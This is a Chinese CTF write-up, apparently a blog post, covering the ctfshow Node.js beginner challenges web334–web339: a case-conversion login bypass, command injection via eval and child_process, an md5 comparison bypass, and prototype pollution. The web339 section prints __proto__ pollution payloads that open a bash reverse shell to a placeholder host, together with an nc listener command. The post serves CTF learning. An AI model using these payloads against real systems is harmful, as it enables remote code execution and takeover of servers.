首页 > 编程语言 >ctfshow-web入门-nodejs系列

ctfshow-web入门-nodejs系列

时间:2024-07-31 21:28:17浏览次数:13  
标签:web nodejs process res req flag ctfshow && var

web334

下载源码后缀改为zip打开即可

先对源码经行一个简单的分析

login.js

// 引入Express框架
var express = require('express');

// 创建一个路由实例
var router = express.Router();

// 引入用户数据,假设user模块导出的是一个包含用户项的对象
var users = require('../modules/user').items;

// 定义一个查找用户的函数,接受用户名和密码作为参数
var findUser = function(name, password){
  // 使用Array.find方法在用户数据中查找符合条件的用户
  return users.find(function(item){
    // 查找用户名为name(转换为大写,排除CTFSHOW)且密码匹配的用户
    return name !== 'CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* 处理登录请求的路由。客户端发送POST请求到这个路由时,会执行以下逻辑 */
router.post('/', function(req, res, next) {
  res.type('html'); // 设置响应的内容类型为HTML

  // 假设是一个标志位或秘钥,通常用来做登录成功后的验证或提示
  var flag = 'flag_here';

  // 获取当前会话
  var sess = req.session;

  // 使用findUser函数查找用户
  var user = findUser(req.body.username, req.body.password);
 
  // 如果找到用户
  if(user){
    // 重新生成会话
    req.session.regenerate(function(err) {
      if(err){
        // 如果会话生成失败,返回登录失败的响应
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      // 设置会话的登录用户信息
      req.session.loginUser = user.username;

      // 返回登录成功的响应,并携带flag
      res.json({ret_code: 0, ret_msg: '登录成功', ret_flag: flag});              
    });
  } else {
    // 如果未找到用户,返回账号或密码错误的响应
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
});

// 导出路由,以便在其他地方使用
module.exports = router;


------------
user.js

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

比较重要的函数

var findUser = function(name, password){
  // 使用Array.find方法在用户数据中查找符合条件的用户
  return users.find(function(item){
    // 查找用户名为name(转换为大写,排除CTFSHOW)且密码匹配的用户
    return name !== 'CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};
代码解析
函数定义 (findUser):
findUser 是一个匿名函数,被赋值给变量 findUser。它接受两个参数:name(用户名)和 password(密码)。

查找用户 (users.find):
users 是一个用户列表,假设是一个数组,其中每个元素都是一个用户对象。
Array.find 方法用于遍历数组中的元素,并返回第一个满足条件的元素。如果没有找到满足条件的元素,则返回 undefined。

查找条件 (function(item)):
find 方法中的回调函数会对数组中的每个元素执行一次,它的参数 item 代表当前遍历到的用户对象。
查找条件是:用户名 name 不是字符串 "CTFSHOW",且 item 对象的 username 属性等于 name 参数的全大写形式,并且 password 属性等于传入的 password 参数。

很明显只要登陆成功就给flag
不能用CTFSHOW用户
但是你输入ctfshow也会给你变为CTFSHOW
即可登陆成功

web335

进入后查看源码得到提示

image

很明显提示我们执行命令

官方有很多命令

image

eval=require("child_process").spawnSync('cat',['fl00g.txt']).stdout.toString()
eval=require("child_process").spawnSync('ls',['.']).stdout.toString()
解释
导入 child_process 模块:

require("child_process") 用于导入 Node.js 的 child_process 模块。
执行 ls 命令:

spawnSync('ls', ['.']) 同步执行 ls 命令,这里的参数 ['.'] 表示列出当前目录(.)的内容。
获取标准输出:

.stdout 访问子进程的标准输出,它是一个缓冲区(Buffer)对象。
.toString() 方法将缓冲区转换为字符串,使输出内容可读。
eval=require('child_process').execSync('ls').toString()
eval=require('child_process').execSync('cat fl00g.txt').toString()
这个可以不进行最后的转换
解释:
execSync 返回的是一个 Buffer 对象,Buffer 是 Node.js 中用于处理二进制数据的类。即使不进行转换,也可以直接输出 Buffer 对象,Node.js 会自动将其转换为字符串显示在控制台。
直接输出 Buffer 对象:

当你使用 console.log 打印 Buffer 对象时,Node.js 会将其自动转换为字符串形式,并显示在控制台上。这样,你也能看到 ls 命令的执行结果。
为何转换为字符串:

虽然 Buffer 对象在控制台上会自动显示为字符串,但在实际的编程中,通常会将 Buffer 转换为字符串以便进行进一步处理。使用 toString() 方法可以确保你得到的是正确编码的字符串,并能够在代码中以字符串的方式进行处理。

web336

把上一题的execSync过滤了
但是还可以用

eval=require("child_process").spawnSync('cat',['fl00g.txt']).stdout.toString()
eval=require("child_process").spawnSync('ls',['.']).stdout.toString()

web337

给了题目

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

很明显只要能过

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag))
就能拿到flag
a && b && a.length===b.length && a!==b 
这些传数组就行
但是后面
md5(a+flag)===md5(b+flag)需要动动脑子
如果你直接a[]=1&b[]=2
就相当于a=[1]&b=[2]

image

很明显绕不过md5(a+flag)===md5(b+flag)

在 JavaScript 中,当你将一个数组与字符串进行连接时,数组会被隐式转换为字符串。对于数组对象,这种转换会调用数组的 toString() 方法。数组的 toString() 方法会将数组的所有元素转换为字符串并用逗号分隔,然后返回生成的字符串。

代码解释
javascript
复制代码
let a = [2];
console.log(a + "flag{xxx}");
数组 a:数组 a 包含一个元素 2。
连接字符串:当数组 a 与字符串 "flag{xxx}" 进行连接时,数组 a 会被转换为字符串 "2"。因此,最终的输出是 "2flag{xxx}"。

当我们传入a[a]=1&b[b]=2
经过

req.query.a
req.query.b

就变成了

{'a':'1'}

image

这样就可以成功绕过

web338

下载源码
看app.py

image

image

image

很明显的原型链污染

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

要使secert.ctfshow===36dboy
就可以拿到flag
我们只需要通过user进行污染即可
image

{"a": 1, "__proto__": {"ctfshow": "36dboy"}}

原型链污染的原理看这里这里

web339

这一题的login.js

if(secert.ctfshow===flag)
而flag的值我们也不知道所以不能像上题一样直接改ctfshow的值来通过了

但是这一题多了一个api.js
里面有一个query是未定义的,其会向其原型找,那么通过污染原型构造恶意代码即可rce。

监听端口
nc -lvvp 9999
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/9999 0>&1\"')"}}

在/login进行污染

image

再访问一下/api

image

即可

image

查看login.js即可
还有一个非预期解

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"');var __tmp2"}}
index发包再api发包

有详解


在更新.....

标签:web,nodejs,process,res,req,flag,ctfshow,&&,var
From: https://www.cnblogs.com/dghh/p/18334701

相关文章

  • 探索WebKit的媒体源扩展:Web应用的多媒体革新
    探索WebKit的媒体源扩展:Web应用的多媒体革新在当今的Web应用开发中,多媒体内容的流畅播放是用户体验的关键组成部分。WebKit,作为Safari浏览器的心脏,提供了一套强大的API,即媒体源扩展(MediaSourceExtensions,MSE),它允许开发者在Web页面上动态地创建、修改和控制媒体内容的播放......
  • 掌控Web未来:WebKit中Web应用清单(Manifest)的全面支持
    掌控Web未来:WebKit中Web应用清单(Manifest)的全面支持Web应用清单,通常指的是manifest.json文件,是渐进式Web应用(PWA)的核心组成部分。它为Web应用提供了一个声明式接口,允许Web页面在没有浏览器传统界面的情况下运行,使得Web应用能够更接近原生应用的体验。WebKit作为许多现代浏......
  • Web : EL表达式 -15
    EL表达式概述EL全名为ExpressionLanguage,用来替代<%= %>脚本表达式。基本结构为${表达式}。获取数据获取常量<h1>获取常量</h1>${123}${123.32}${"abc"}${true}获取变量el会自动从四大作用域中搜寻域属性来使用如果找不到什么都不输出<h1>获取变量</h......
  • Postman中测试Webhooks的全面指南
    Webhooks是一种在互联网上进行事件通知的简单而有效的方式。它们允许服务在事件发生时将信息推送给订阅者,而不是让订阅者轮询服务以检查是否有更新。Postman是一个多功能的API开发工具,它不仅可以用于测试RESTfulAPI,还可以用于测试Webhooks。本文将详细介绍如何在Postman中......
  • 基于 STM32 的 NAS私有云盘搭建:集成LwIP 协议、HTTP/HTTPS、WEB前端技术栈(代码示例)
    项目概述在本项目中,我们将搭建一个基于STM32的NAS(网络附加存储)私盘,通过网络访问存储在外部SATA硬盘上的文件。该项目将使用STM32开发板、外接SATA硬盘、LwIP协议栈以及FATFS文件系统来实现文件的上传、下载和管理,用户可以通过简单的Web界面进行操作。系统设计......
  • Javaweb项目|基于SpringBoot的企业客户管理系统的设计与实现【源码+论文+PPT+部署视频
    我们提供多元化的技术项目服务,涵盖Java、PHP、Python等编程语言,以及前端开发、人工智能、大数据、单片机开发、ASP.NET、物联网等领域。我们还提供简历模板、面试题库和学习资料,帮助用户提升技术能力和就业竞争力。我们的服务内容包括:免费功能设计、任务书和开题报告撰写、中......
  • Javaweb项目|springboot基于JavaWeb技术的在线考试系统设计与实现【源码+论文+PPT+部
    我们提供多元化的技术项目服务,涵盖Java、PHP、Python等编程语言,以及前端开发、人工智能、大数据、单片机开发、ASP.NET、物联网等领域。我们还提供简历模板、面试题库和学习资料,帮助用户提升技术能力和就业竞争力。我们的服务内容包括:免费功能设计、任务书和开题报告撰写、中......
  • Javaweb项目|基于SpringBoot的企业客户管理系统的设计与实现
    收藏点赞不迷路 关注作者有好处文末获取源码一、系统展示二、万字文档展示 基于基于SpringBoot的企业客户管理系统的设计与实现开发语言:Java数据库:MySQL技术:Spring+SpringMVC+MyBatis+Vue工具:IDEA/Ecilpse、Navicat、Maven 编号:springboot024一、系统展示二......
  • Javaweb项目|springboot基于JavaWeb技术的在线考试系统设计与实现
    收藏点赞不迷路 关注作者有好处文末获取源码一、系统展示二、万字文档展示 基于springboot基于JavaWeb技术的在线考试系统设计与实现开发语言:Java数据库:MySQL技术:Spring+SpringMVC+MyBatis+Vue工具:IDEA/Ecilpse、Navicat、Maven 编号:springboot072一、系统展......
  • 微信小程序nodejs+vue+uniapp学生选课系统dmkas源码lw包安装
    系统分为学生和管理员,教师三个角色小程序端运行软件 微信开发者工具/hbuiderxuni-app框架:使用Vue.js开发跨平台应用的前端框架,编写一套代码,可编译到Android、小程序等平台。基于微信小程序学生选课系统后台是本系统分为学生,教师,管理员三个角色,学生的主要功能是查看课程介......